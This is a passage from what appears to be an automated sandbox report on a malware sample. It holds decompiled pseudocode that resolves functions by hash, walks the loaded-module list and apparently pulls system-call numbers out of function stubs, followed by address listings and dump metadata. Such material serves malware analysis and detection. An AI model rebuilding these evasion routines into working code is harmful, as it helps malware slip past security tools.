                                                                                                                                              									__eflags = _t535[0x54] - 0x1c6ef387;
                                                                                                                                              									if(_t535[0x54] == 0x1c6ef387) {
                                                                                                                                              										 *0x6e76d20c =  *_t535;
                                                                                                                                              									} else {
                                                                                                                                              										__eflags = _t535[0x54] - 0x45b68b68;
                                                                                                                                              										if(_t535[0x54] == 0x45b68b68) {
                                                                                                                                              											 *0x6e76d210 =  *_t535;
                                                                                                                                              										}
                                                                                                                                              									}
                                                                                                                                              									goto L78;
                                                                                                                                              								}
                                                                                                                                              								__eflags = _t241 - _t535[0x130];
                                                                                                                                              								if(_t241 >= _t535[0x130]) {
                                                                                                                                              									goto L57;
                                                                                                                                              								}
                                                                                                                                              								_t535[0x130] =  &(_t535[0x58]);
                                                                                                                                              								_t261 = E6E75E8A8( &(_t535[0x58]), 0x7fffffff);
                                                                                                                                              								_t477 =  &(_t535[0x12c]);
                                                                                                                                              								 *_t477 = _t261;
                                                                                                                                              								_t477[2] = _t261 + 1;
                                                                                                                                              								_t395 = E6E76306C(0x60a28c5c, 0x522ec1f2, 0x60a28c5c, 0x60a28c5c);
                                                                                                                                              								__eflags = _t395;
                                                                                                                                              								if(_t395 != 0) {
                                                                                                                                              									_t202 =  &(_t535[0x12c]); // 0x100
                                                                                                                                              									 *_t395(_t535[0xc], _t202, 0,  &(_t535[0x2c]));
                                                                                                                                              								}
                                                                                                                                              								 *_t535 = _t535[0x2c];
                                                                                                                                              								goto L58;
                                                                                                                                              							}
                                                                                                                                              							goto L50;
                                                                                                                                              						} else {
                                                                                                                                              							goto L48;
                                                                                                                                              						}
                                                                                                                                              						do {
                                                                                                                                              							L48:
                                                                                                                                              							_t467 = _t467 + 1;
                                                                                                                                              							_t270 =  *((intOrPtr*)(_t467 + _t387));
                                                                                                                                              							_t535[_t467 + 0x58] = _t270;
                                                                                                                                              						} while (_t270 != 0);
                                                                                                                                              						goto L49;
                                                                                                                                              						L50:
                                                                                                                                              						_t524 = _t524 + 4;
                                                                                                                                              						_t396 =  &(_t535[0x12c]);
                                                                                                                                              						_t373 =  &(_t373[1]);
                                                                                                                                              						_t269 =  *_t396 + 1;
                                                                                                                                              						 *_t396 = _t269;
                                                                                                                                              					} while (_t269 <  *((intOrPtr*)(_t510 +  *_t535 + 0x18)));
                                                                                                                                              					goto L77;
                                                                                                                                              				} else {
                                                                                                                                              					_t535[0x30] = 0;
                                                                                                                                              					 *0x6e76d2e4 = 1;
                                                                                                                                              					E6E75F584( &(_t535[0x38]), 0);
                                                                                                                                              					E6E75F584( &(_t535[0x168]), 0x1c);
                                                                                                                                              					_t535[0x58] = E6E75F4BC( &(_t535[0x168]), 0);
                                                                                                                                              					_t400 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0xc));
                                                                                                                                              					_t535[0x48] =  *(_t400 + 0xc);
                                                                                                                                              					_t535[0x60] =  *(_t400 + 0x10);
                                                                                                                                              					goto L5;
                                                                                                                                              					L6:
                                                                                                                                              					_t384 = 0;
                                                                                                                                              					do {
                                                                                                                                              						if(( *(_t529 + 0x24) & 0x20000000) == 0) {
                                                                                                                                              							goto L13;
                                                                                                                                              						}
                                                                                                                                              						_t513 =  *((intOrPtr*)(_t529 + 0xc)) + _t535[0x58] +  *((intOrPtr*)(_t529 + 8));
                                                                                                                                              						_t496 = E6E76306C(0x60a28c5c, 0xe7942190, _t279, _t279);
                                                                                                                                              						if(_t496 == 0) {
                                                                                                                                              							L10:
                                                                                                                                              							_t456 = _t535[0x50];
                                                                                                                                              							_t497 =  *((intOrPtr*)(_t529 + 0xc));
                                                                                                                                              							_t498 = _t497 + _t456;
                                                                                                                                              							_t500 =  *((intOrPtr*)(_t529 + 8));
                                                                                                                                              							_t535[0x28] = _t498;
                                                                                                                                              							_t499 = _t498 + _t500;
                                                                                                                                              							_t363 =  *(_t535[0x58]) - _t456 - _t497 - _t500 -  *((intOrPtr*)(_t535[0x58] + 0xc));
                                                                                                                                              							_t535[0x24] = _t529;
                                                                                                                                              							_t535[0x20] =  *(_t535[0x48] + 0x30);
                                                                                                                                              							if((_t499 & 0x00000003) == 0) {
                                                                                                                                              								L12:
                                                                                                                                              								_t535[0x1c] = _t363;
                                                                                                                                              								_t535[0x18] = _t499;
                                                                                                                                              								E6E75F828( &(_t535[0xc]), E6E75F4CC( &(_t535[8])) + 0x14);
                                                                                                                                              								_t369 = E6E75F4BC( &(_t535[0xc]), E6E75F4CC( &(_t535[8])) + 0xffffffec);
                                                                                                                                              								_t462 = 5;
                                                                                                                                              								_t279 = memcpy(_t369,  &(_t535[0x18]), _t462 << 2);
                                                                                                                                              								_t535 =  &(_t535[0xc]);
                                                                                                                                              								_t535[4] = _t535[4] + 1;
                                                                                                                                              								goto L13;
                                                                                                                                              							} else {
                                                                                                                                              								goto L11;
                                                                                                                                              							}
                                                                                                                                              							do {
                                                                                                                                              								L11:
                                                                                                                                              								_t499 = _t499 + 1;
                                                                                                                                              								_t363 = _t363 - 1;
                                                                                                                                              							} while ((_t499 & 0x00000003) != 0);
                                                                                                                                              							goto L12;
                                                                                                                                              						}
                                                                                                                                              						_t279 =  *_t496(0xffffffff, _t513, 0, _t535[0x60], 0x1c, 0);
                                                                                                                                              						if(0 < 0) {
                                                                                                                                              							goto L13;
                                                                                                                                              						}
                                                                                                                                              						goto L10;
                                                                                                                                              						L13:
                                                                                                                                              						_t384 = _t384 + 1;
                                                                                                                                              						_t529 = _t529 + 0x28;
                                                                                                                                              					} while (_t384 < _t535[0x5c]);
                                                                                                                                              					L14:
                                                                                                                                              					_t280 = _t535[4];
                                                                                                                                              					_t535[0x44] = _t280;
                                                                                                                                              					if(_t280 <= 1) {
                                                                                                                                              						L21:
                                                                                                                                              						if(_t535[0x44] <= 0) {
                                                                                                                                              							L24:
                                                                                                                                              							_t281 = _t535[0x48];
                                                                                                                                              							_t556 = _t281 - _t535[0x60];
                                                                                                                                              							if(_t281 != _t535[0x60]) {
                                                                                                                                              								_t535[0x48] =  *_t281;
                                                                                                                                              								E6E75F654( &(_t535[8]));
                                                                                                                                              								L5:
                                                                                                                                              								_t277 =  *(_t535[0x48] + 0x18);
                                                                                                                                              								_t535[0x50] = _t277;
                                                                                                                                              								_t535[4] = 0;
                                                                                                                                              								_t379 =  *((intOrPtr*)(_t277 + 0x3c)) + _t277;
                                                                                                                                              								E6E75F584( &(_t535[0xc]), 0);
                                                                                                                                              								_t279 =  *(_t379 + 6) & 0x0000ffff;
                                                                                                                                              								_t535[0x5c] = _t279;
                                                                                                                                              								_t529 = _t379 + ( *(_t379 + 0x14) & 0x0000ffff) + 0x18;
                                                                                                                                              								if(_t279 <= 0) {
                                                                                                                                              									goto L14;
                                                                                                                                              								}
                                                                                                                                              								goto L6;
                                                                                                                                              							}
                                                                                                                                              							E6E75F654( &(_t535[8]));
                                                                                                                                              							E6E75F654( &(_t535[0x164]));
                                                                                                                                              							E6E75F584( &(_t535[0x48]), 0);
                                                                                                                                              							_t535[0x18] = 0;
                                                                                                                                              							E6E75F584( &(_t535[0x20]), 0);
                                                                                                                                              							_push(0x60a28c5c);
                                                                                                                                              							_t289 = E6E761D34(0x60a28c5c);
                                                                                                                                              							_t290 = E6E7612EC( &(_t535[0x154]), _t517, _t556);
                                                                                                                                              							_push(_t290);
                                                                                                                                              							_push(_t290);
                                                                                                                                              							E6E761C6C( &(_t535[0x164]), 0x60a28c5c);
                                                                                                                                              							_t518 =  &(_t535[0x178]);
                                                                                                                                              							E6E75D014( &(_t535[0x178]) - 0x24,  &(_t535[0x178]), _t535[0x15c]);
                                                                                                                                              							_push(0x80);
                                                                                                                                              							_push(0);
                                                                                                                                              							E6E765CD4( &(_t535[0x114]), _t556, _t535[0x184], 1);
                                                                                                                                              							E6E765D08( &(_t535[0x180]) - 0x7c, _t556,  &(_t535[0x180]), 0);
                                                                                                                                              							_push(_t289);
                                                                                                                                              							E6E768E08( &(_t535[0xe4]),  &(_t535[0x180]), 2);
                                                                                                                                              							E6E75F654( &(_t535[0x180]));
                                                                                                                                              							_t557 = _t535[0x114];
                                                                                                                                              							if(_t535[0x114] != 0) {
                                                                                                                                              								E6E75BB44( &(_t535[0x110]));
                                                                                                                                              							}
                                                                                                                                              							E6E75CFDC( &(_t535[0x104]));
                                                                                                                                              							E6E75CFDC(_t518);
                                                                                                                                              							E6E75CFDC( &(_t535[0x15c]));
                                                                                                                                              							E6E75CFDC( &(_t535[0x154]));
                                                                                                                                              							E6E7690EC( &(_t535[0xdc]), 0xffffffff);
                                                                                                                                              							_t535[0x118] = _t535[0xf0];
                                                                                                                                              							E6E75F618( &(_t535[0x11c]), _t557,  &(_t535[0xf4]));
                                                                                                                                              							_push(1);
                                                                                                                                              							E6E7690B0( &(_t535[0x11c]));
                                                                                                                                              							_t381 = 0;
                                                                                                                                              							_t535[0x64] = 0;
                                                                                                                                              							_t535[0x60] = 0;
                                                                                                                                              							do {
                                                                                                                                              								_t535[0x58] = E6E75F4BC( &(_t535[0x38]), _t535[0x60]);
                                                                                                                                              								_t535[0x70] = E6E75F4CC( &(_t535[0x44]));
                                                                                                                                              								_t519 =  *(0x6e76bd40 + _t381 * 4);
                                                                                                                                              								_t531 = E6E76907C( &(_t535[0xf4]), _t519, _t519);
                                                                                                                                              								if(_t531 == 0) {
                                                                                                                                              									goto L42;
                                                                                                                                              								}
                                                                                                                                              								_t508 = E6E7687E8( &(_t535[0x11c]), _t519,  *_t531);
                                                                                                                                              								_t532 =  *_t531;
                                                                                                                                              								while(_t532 ==  *_t508) {
                                                                                                                                              									_t508 = _t508 + 8;
                                                                                                                                              									__eflags = _t508;
                                                                                                                                              								}
                                                                                                                                              								_t315 =  *_t508;
                                                                                                                                              								_t535[0x74] = _t315;
                                                                                                                                              								_t535[0x78] = _t315 - _t532;
                                                                                                                                              								if(_t381 != 0) {
                                                                                                                                              									L38:
                                                                                                                                              									_t535[0x68] = E6E75F4CC( &(_t535[0x44]));
                                                                                                                                              									_t535[0x6c] = _t519;
                                                                                                                                              									E6E75F4DC( &(_t535[0x4c]), _t562, _t532, _t535[0x78]);
                                                                                                                                              									_t319 = E6E75F4CC( &(_t535[0x44]));
                                                                                                                                              									_t487 = _t535[0x58];
                                                                                                                                              									_t563 = _t319 -  *((intOrPtr*)(_t487 + 4));
                                                                                                                                              									if(_t319 <=  *((intOrPtr*)(_t487 + 4))) {
                                                                                                                                              										E6E75F828( &(_t535[0x20]), E6E75F4CC( &(_t535[0x1c])) + 8);
                                                                                                                                              										E6E75F4BC( &(_t535[0x20]), E6E75F4CC( &(_t535[0x1c])) + 0xfffffff8);
                                                                                                                                              										asm("movsd");
                                                                                                                                              										asm("movsd");
                                                                                                                                              										_t535[0x18] = _t535[0x18] + 1;
                                                                                                                                              										__eflags = _t381 - 0x1d;
                                                                                                                                              										if(__eflags == 0) {
                                                                                                                                              											_t228 =  &(_t535[0x44]); // 0x2c
                                                                                                                                              											E6E76317C(_t535[0x58], _t228, __eflags,  &(_t535[0x18]));
                                                                                                                                              										}
                                                                                                                                              										goto L42;
                                                                                                                                              									}
                                                                                                                                              									E6E75F828( &(_t535[0x48]), _t535[0x70]);
                                                                                                                                              									E6E76317C(_t535[0x58],  &(_t535[0x44]), _t563,  &(_t535[0x18]));
                                                                                                                                              									E6E75F840( &(_t535[0x44]), _t563);
                                                                                                                                              									E6E75F840( &(_t535[0x1c]), _t563);
                                                                                                                                              									_t381 = _t381 - 1;
                                                                                                                                              									_t334 = _t535[0x64] + 1;
                                                                                                                                              									_t535[0x60] = _t535[0x60] + 0x14;
                                                                                                                                              									_t535[0x18] = 0;
                                                                                                                                              									_t535[0x64] = _t334;
                                                                                                                                              									if(_t334 == _t535[0x30]) {
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									goto L42;
                                                                                                                                              								}
                                                                                                                                              								E6E76913C( &(_t535[0x134]), _t519);
                                                                                                                                              								_t535[0x5c] = _t532;
                                                                                                                                              								while(1) {
                                                                                                                                              									_t336 = _t535[0x5c];
                                                                                                                                              									_t562 =  *_t336 - 0xb8;
                                                                                                                                              									if( *_t336 == 0xb8) {
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									_t490 = _t535[0x5c] + E6E769104( &(_t535[0x138]), __eflags, _t535[0x74]);
                                                                                                                                              									_t535[0x5c] = _t490;
                                                                                                                                              									__eflags = _t490 -  *_t508;
                                                                                                                                              									if(__eflags < 0) {
                                                                                                                                              										continue;
                                                                                                                                              									}
                                                                                                                                              									L37:
                                                                                                                                              									E6E75F654( &(_t535[0x144]));
                                                                                                                                              									E6E75F654( &(_t535[0x134]));
                                                                                                                                              									goto L38;
                                                                                                                                              								}
                                                                                                                                              								 *0x6e76d2ec =  *((intOrPtr*)(_t336 + 1));
                                                                                                                                              								goto L37;
                                                                                                                                              								L42:
                                                                                                                                              								_t381 = _t381 + 1;
                                                                                                                                              							} while (_t381 < 0x1e);
                                                                                                                                              							E6E75F654( &(_t535[0x11c]));
                                                                                                                                              							E6E768E68(_t381,  &(_t535[0xd8]));
                                                                                                                                              							E6E75F654( &(_t535[0x1c]));
                                                                                                                                              							E6E75F654( &(_t535[0x44]));
                                                                                                                                              							E6E75F654( &(_t535[0x34]));
                                                                                                                                              							goto L44;
                                                                                                                                              						}
                                                                                                                                              						_t533 = 0;
                                                                                                                                              						_t382 = 0;
                                                                                                                                              						do {
                                                                                                                                              							_t341 = E6E75F4BC( &(_t535[0xc]), _t382);
                                                                                                                                              							_t517 = _t341;
                                                                                                                                              							E6E75F828( &(_t535[0x38]), E6E75F4CC( &(_t535[0x34])) + 0x14);
                                                                                                                                              							_t347 = E6E75F4BC( &(_t535[0x38]), E6E75F4CC( &(_t535[0x34])) + 0xffffffec);
                                                                                                                                              							_t451 = 5;
                                                                                                                                              							memcpy(_t347, _t341, _t451 << 2);
                                                                                                                                              							_t535 =  &(_t535[0xc]);
                                                                                                                                              							_t533 = _t533 + 1;
                                                                                                                                              							_t382 = _t382 + 0x14;
                                                                                                                                              							_t535[0x30] = _t535[0x30] + 1;
                                                                                                                                              						} while (_t533 < _t535[0x44]);
                                                                                                                                              						goto L24;
                                                                                                                                              					}
                                                                                                                                              					_t535[0x4c] = 1;
                                                                                                                                              					_t534 = 0x14;
                                                                                                                                              					do {
                                                                                                                                              						_t62 = _t534 - 0x14; // 0x0
                                                                                                                                              						_t383 = E6E75F4BC( &(_t535[0xc]), _t62);
                                                                                                                                              						_t455 = E6E75F4BC( &(_t535[0xc]), _t534);
                                                                                                                                              						_t517 =  *_t383;
                                                                                                                                              						_t352 =  *_t455;
                                                                                                                                              						if(_t352 >= _t517 && _t352 <= _t383[1] + _t517) {
                                                                                                                                              							_t383[1] =  *((intOrPtr*)(_t455 + 0x10)) - _t517;
                                                                                                                                              						}
                                                                                                                                              						_t534 = _t534 + 0x14;
                                                                                                                                              						_t354 = _t535[0x4c] + 1;
                                                                                                                                              						_t535[0x4c] = _t354;
                                                                                                                                              					} while (_t354 < _t535[0x44]);
                                                                                                                                              					_t535[0x44] = _t535[4];
                                                                                                                                              					goto L21;
                                                                                                                                              				}
                                                                                                                                              			}








































































                                                                                                                                              0x6e761448
                                                                                                                                              0x6e76144f
                                                                                                                                              0x6e761452
                                                                                                                                              0x6e761459
                                                                                                                                              0x6e761bdb
                                                                                                                                              0x6e761bdb
                                                                                                                                              0x6e76145f
                                                                                                                                              0x6e76146a
                                                                                                                                              0x6e7619a9
                                                                                                                                              0x6e7619ad
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761c2c
                                                                                                                                              0x6e7619b3
                                                                                                                                              0x6e7619b6
                                                                                                                                              0x6e7619b9
                                                                                                                                              0x6e7619c3
                                                                                                                                              0x6e7619d2
                                                                                                                                              0x6e7619d4
                                                                                                                                              0x6e7619db
                                                                                                                                              0x6e761bc5
                                                                                                                                              0x6e761bc7
                                                                                                                                              0x6e761bca
                                                                                                                                              0x6e761bce
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761bce
                                                                                                                                              0x6e7619ea
                                                                                                                                              0x6e7619f5
                                                                                                                                              0x6e7619fc
                                                                                                                                              0x6e7619ff
                                                                                                                                              0x6e761a01
                                                                                                                                              0x6e761a04
                                                                                                                                              0x6e761a07
                                                                                                                                              0x6e761a0d
                                                                                                                                              0x6e761a1b
                                                                                                                                              0x6e761a2b
                                                                                                                                              0x6e761a50
                                                                                                                                              0x6e761a61
                                                                                                                                              0x6e761a64
                                                                                                                                              0x6e761a66
                                                                                                                                              0x6e761aca
                                                                                                                                              0x6e761acd
                                                                                                                                              0x6e761acd
                                                                                                                                              0x6e761acf
                                                                                                                                              0x6e761ad2
                                                                                                                                              0x6e761ad6
                                                                                                                                              0x6e761ad6
                                                                                                                                              0x6e761ada
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761ae7
                                                                                                                                              0x6e761aed
                                                                                                                                              0x6e761b21
                                                                                                                                              0x6e761b27
                                                                                                                                              0x6e761b29
                                                                                                                                              0x6e761bf8
                                                                                                                                              0x6e761c00
                                                                                                                                              0x6e761c03
                                                                                                                                              0x6e761c05
                                                                                                                                              0x6e761c1c
                                                                                                                                              0x6e761c1c
                                                                                                                                              0x6e761c07
                                                                                                                                              0x6e761c0b
                                                                                                                                              0x6e761c10
                                                                                                                                              0x6e761c10
                                                                                                                                              0x6e761c1e
                                                                                                                                              0x6e761c24
                                                                                                                                              0x6e761b43
                                                                                                                                              0x6e761b43
                                                                                                                                              0x6e761b45
                                                                                                                                              0x6e761b45
                                                                                                                                              0x6e761b47
                                                                                                                                              0x6e761b47
                                                                                                                                              0x6e761b4c
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761b4e
                                                                                                                                              0x6e761b4f
                                                                                                                                              0x6e761b52
                                                                                                                                              0x6e761b55
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761b61
                                                                                                                                              0x6e761b64
                                                                                                                                              0x6e761b66
                                                                                                                                              0x6e761b7d
                                                                                                                                              0x6e761b7d
                                                                                                                                              0x6e761b68
                                                                                                                                              0x6e761b6c
                                                                                                                                              0x6e761b71
                                                                                                                                              0x6e761b71
                                                                                                                                              0x6e761b8a
                                                                                                                                              0x6e761b8d
                                                                                                                                              0x6e761b96
                                                                                                                                              0x6e761b99
                                                                                                                                              0x6e761bbc
                                                                                                                                              0x6e761bc0
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761bc0
                                                                                                                                              0x6e761ba1
                                                                                                                                              0x6e761ba1
                                                                                                                                              0x6e761bad
                                                                                                                                              0x6e761bb0
                                                                                                                                              0x6e761bb9
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761bb9
                                                                                                                                              0x6e761b2f
                                                                                                                                              0x6e761b3f
                                                                                                                                              0x6e761b3f
                                                                                                                                              0x6e761b41
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761b37
                                                                                                                                              0x6e761b39
                                                                                                                                              0x6e761b39
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761b3f
                                                                                                                                              0x6e761aef
                                                                                                                                              0x6e761af7
                                                                                                                                              0x6e761b17
                                                                                                                                              0x6e761af9
                                                                                                                                              0x6e761af9
                                                                                                                                              0x6e761b01
                                                                                                                                              0x6e761b0a
                                                                                                                                              0x6e761b0a
                                                                                                                                              0x6e761b01
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761af7
                                                                                                                                              0x6e761a68
                                                                                                                                              0x6e761a6f
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761a7c
                                                                                                                                              0x6e761a82
                                                                                                                                              0x6e761a87
                                                                                                                                              0x6e761a8e
                                                                                                                                              0x6e761a92
                                                                                                                                              0x6e761aa7
                                                                                                                                              0x6e761aa9
                                                                                                                                              0x6e761aab
                                                                                                                                              0x6e761ab1
                                                                                                                                              0x6e761abf
                                                                                                                                              0x6e761abf
                                                                                                                                              0x6e761ac5
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761ac5
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761a0f
                                                                                                                                              0x6e761a0f
                                                                                                                                              0x6e761a0f
                                                                                                                                              0x6e761a10
                                                                                                                                              0x6e761a13
                                                                                                                                              0x6e761a17
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761a2d
                                                                                                                                              0x6e761a30
                                                                                                                                              0x6e761a33
                                                                                                                                              0x6e761a3c
                                                                                                                                              0x6e761a3f
                                                                                                                                              0x6e761a40
                                                                                                                                              0x6e761a42
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76147d
                                                                                                                                              0x6e76147f
                                                                                                                                              0x6e761484
                                                                                                                                              0x6e76148f
                                                                                                                                              0x6e76149d
                                                                                                                                              0x6e7614b0
                                                                                                                                              0x6e7614bd
                                                                                                                                              0x6e7614c6
                                                                                                                                              0x6e7614ca
                                                                                                                                              0x6e7614ce
                                                                                                                                              0x6e761516
                                                                                                                                              0x6e761516
                                                                                                                                              0x6e761518
                                                                                                                                              0x6e76151f
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761538
                                                                                                                                              0x6e761540
                                                                                                                                              0x6e761544
                                                                                                                                              0x6e761559
                                                                                                                                              0x6e76155d
                                                                                                                                              0x6e761561
                                                                                                                                              0x6e76156a
                                                                                                                                              0x6e761570
                                                                                                                                              0x6e761573
                                                                                                                                              0x6e761577
                                                                                                                                              0x6e76157f
                                                                                                                                              0x6e761581
                                                                                                                                              0x6e761585
                                                                                                                                              0x6e76158c
                                                                                                                                              0x6e761595
                                                                                                                                              0x6e761595
                                                                                                                                              0x6e761599
                                                                                                                                              0x6e7615ae
                                                                                                                                              0x6e7615c4
                                                                                                                                              0x6e7615d1
                                                                                                                                              0x6e7615d2
                                                                                                                                              0x6e7615d2
                                                                                                                                              0x6e7615d4
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76158e
                                                                                                                                              0x6e76158e
                                                                                                                                              0x6e76158e
                                                                                                                                              0x6e76158f
                                                                                                                                              0x6e761590
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76158e
                                                                                                                                              0x6e761553
                                                                                                                                              0x6e761557
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7615d8
                                                                                                                                              0x6e7615d8
                                                                                                                                              0x6e7615d9
                                                                                                                                              0x6e7615dc
                                                                                                                                              0x6e7615e6
                                                                                                                                              0x6e7615e6
                                                                                                                                              0x6e7615ea
                                                                                                                                              0x6e7615f1
                                                                                                                                              0x6e76164c
                                                                                                                                              0x6e761651
                                                                                                                                              0x6e7616a4
                                                                                                                                              0x6e7616a4
                                                                                                                                              0x6e7616a8
                                                                                                                                              0x6e7616ac
                                                                                                                                              0x6e7614d6
                                                                                                                                              0x6e7614d9
                                                                                                                                              0x6e7614de
                                                                                                                                              0x6e7614e4
                                                                                                                                              0x6e7614e7
                                                                                                                                              0x6e7614ee
                                                                                                                                              0x6e7614f2
                                                                                                                                              0x6e7614f9
                                                                                                                                              0x6e761502
                                                                                                                                              0x6e761506
                                                                                                                                              0x6e76150a
                                                                                                                                              0x6e761510
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761510
                                                                                                                                              0x6e7616b6
                                                                                                                                              0x6e7616c2
                                                                                                                                              0x6e7616cd
                                                                                                                                              0x6e7616d4
                                                                                                                                              0x6e7616dd
                                                                                                                                              0x6e7616e7
                                                                                                                                              0x6e7616e8
                                                                                                                                              0x6e7616f6
                                                                                                                                              0x6e7616fb
                                                                                                                                              0x6e7616fc
                                                                                                                                              0x6e761709
                                                                                                                                              0x6e76170e
                                                                                                                                              0x6e761720
                                                                                                                                              0x6e761725
                                                                                                                                              0x6e76172a
                                                                                                                                              0x6e76173c
                                                                                                                                              0x6e76174e
                                                                                                                                              0x6e761753
                                                                                                                                              0x6e76175e
                                                                                                                                              0x6e761765
                                                                                                                                              0x6e76176a
                                                                                                                                              0x6e761772
                                                                                                                                              0x6e76177b
                                                                                                                                              0x6e76177b
                                                                                                                                              0x6e761787
                                                                                                                                              0x6e76178e
                                                                                                                                              0x6e76179a
                                                                                                                                              0x6e7617a6
                                                                                                                                              0x6e7617b4
                                                                                                                                              0x6e7617c5
                                                                                                                                              0x6e7617cc
                                                                                                                                              0x6e7617d1
                                                                                                                                              0x6e7617da
                                                                                                                                              0x6e7617df
                                                                                                                                              0x6e7617e1
                                                                                                                                              0x6e7617e5
                                                                                                                                              0x6e7617e9
                                                                                                                                              0x6e7617f6
                                                                                                                                              0x6e761803
                                                                                                                                              0x6e761807
                                                                                                                                              0x6e76181b
                                                                                                                                              0x6e76181f
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761834
                                                                                                                                              0x6e761836
                                                                                                                                              0x6e76183e
                                                                                                                                              0x6e76183b
                                                                                                                                              0x6e76183b
                                                                                                                                              0x6e76183b
                                                                                                                                              0x6e761842
                                                                                                                                              0x6e761844
                                                                                                                                              0x6e76184a
                                                                                                                                              0x6e761850
                                                                                                                                              0x6e7618ac
                                                                                                                                              0x6e7618b5
                                                                                                                                              0x6e7618b9
                                                                                                                                              0x6e7618c6
                                                                                                                                              0x6e7618cf
                                                                                                                                              0x6e7618d4
                                                                                                                                              0x6e7618d8
                                                                                                                                              0x6e7618db
                                                                                                                                              0x6e76193c
                                                                                                                                              0x6e761952
                                                                                                                                              0x6e76195d
                                                                                                                                              0x6e76195e
                                                                                                                                              0x6e76195f
                                                                                                                                              0x6e761963
                                                                                                                                              0x6e761966
                                                                                                                                              0x6e761be6
                                                                                                                                              0x6e761be9
                                                                                                                                              0x6e761be9
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761966
                                                                                                                                              0x6e7618e5
                                                                                                                                              0x6e7618f5
                                                                                                                                              0x6e7618fe
                                                                                                                                              0x6e761907
                                                                                                                                              0x6e761910
                                                                                                                                              0x6e761911
                                                                                                                                              0x6e761912
                                                                                                                                              0x6e761917
                                                                                                                                              0x6e76191f
                                                                                                                                              0x6e761927
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761929
                                                                                                                                              0x6e761859
                                                                                                                                              0x6e76185e
                                                                                                                                              0x6e761862
                                                                                                                                              0x6e761862
                                                                                                                                              0x6e761866
                                                                                                                                              0x6e761869
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76188a
                                                                                                                                              0x6e76188c
                                                                                                                                              0x6e761890
                                                                                                                                              0x6e761892
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761894
                                                                                                                                              0x6e76189b
                                                                                                                                              0x6e7618a7
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7618a7
                                                                                                                                              0x6e76186e
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76196c
                                                                                                                                              0x6e76196c
                                                                                                                                              0x6e76196d
                                                                                                                                              0x6e76197d
                                                                                                                                              0x6e761989
                                                                                                                                              0x6e761992
                                                                                                                                              0x6e76199b
                                                                                                                                              0x6e7619a4
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7619a4
                                                                                                                                              0x6e761653
                                                                                                                                              0x6e761655
                                                                                                                                              0x6e761657
                                                                                                                                              0x6e76165c
                                                                                                                                              0x6e761661
                                                                                                                                              0x6e761674
                                                                                                                                              0x6e76168a
                                                                                                                                              0x6e761693
                                                                                                                                              0x6e761694
                                                                                                                                              0x6e761694
                                                                                                                                              0x6e761696
                                                                                                                                              0x6e761697
                                                                                                                                              0x6e76169a
                                                                                                                                              0x6e76169e
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761657
                                                                                                                                              0x6e7615f3
                                                                                                                                              0x6e7615fd
                                                                                                                                              0x6e7615fe
                                                                                                                                              0x6e7615fe
                                                                                                                                              0x6e76160b
                                                                                                                                              0x6e761617
                                                                                                                                              0x6e761619
                                                                                                                                              0x6e76161b
                                                                                                                                              0x6e76161f
                                                                                                                                              0x6e76162f
                                                                                                                                              0x6e76162f
                                                                                                                                              0x6e761636
                                                                                                                                              0x6e761639
                                                                                                                                              0x6e76163a
                                                                                                                                              0x6e76163e
                                                                                                                                              0x6e761648
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761648

                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID:
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID:
                                                                                                                                              • Opcode ID: 4e238217a09d84c2e7a25e2c5fd2fef4407abcc4bf5d04fe366b311c88919aae
                                                                                                                                              • Instruction ID: 10daff059f7c67407fe42724e4ead8f7cbfa105d0aabcf1822b68611082018a1
                                                                                                                                              • Opcode Fuzzy Hash: 4e238217a09d84c2e7a25e2c5fd2fef4407abcc4bf5d04fe366b311c88919aae
